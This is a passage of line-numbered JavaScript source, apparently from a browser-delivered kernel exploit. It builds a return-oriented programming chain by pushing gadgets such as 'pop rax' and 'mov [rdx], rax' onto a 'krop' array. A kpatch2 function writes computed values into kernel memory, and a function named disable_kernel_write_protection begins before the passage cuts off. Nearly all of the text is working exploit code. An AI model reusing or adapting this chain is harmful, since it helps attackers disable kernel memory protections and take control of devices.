(dest_offset, src_offset)
| 406 | krop.push(window.gadgets["mov [rdx], rax"]); |
| 407 | }; |
| 408 | var kpatch2 = function (dest_offset, src_offset) { |
| 409 | krop.push(window.gadgets["pop rax"]); |
| 410 | krop.push(kscratch); |
| 411 | krop.push(window.gadgets["mov rax, [rax]"]); |
| 412 | krop.push(window.gadgets["pop rcx"]); |
| 413 | krop.push(dest_offset); |
| 414 | krop.push(window.gadgets["add rax, rcx"]); |
| 415 | krop.push(window.gadgets["mov rdx, rax"]); |
| 416 | krop.push(window.gadgets["pop rax"]); |
| 417 | krop.push(kscratch); |
| 418 | krop.push(window.gadgets["mov rax, [rax]"]); |
| 419 | krop.push(window.gadgets["pop rcx"]); |
| 420 | krop.push(src_offset); |
| 421 | krop.push(window.gadgets["add rax, rcx"]); |
| 422 | krop.push(window.gadgets["mov [rdx], rax"]); |
| 423 | }; |
| 424 | var disable_kernel_write_protection = function () { |
| 425 | krop.push(window.gadgets["pop rax"]); |
| 426 | krop.push(kscratch); |
no outgoing calls
no test coverage detected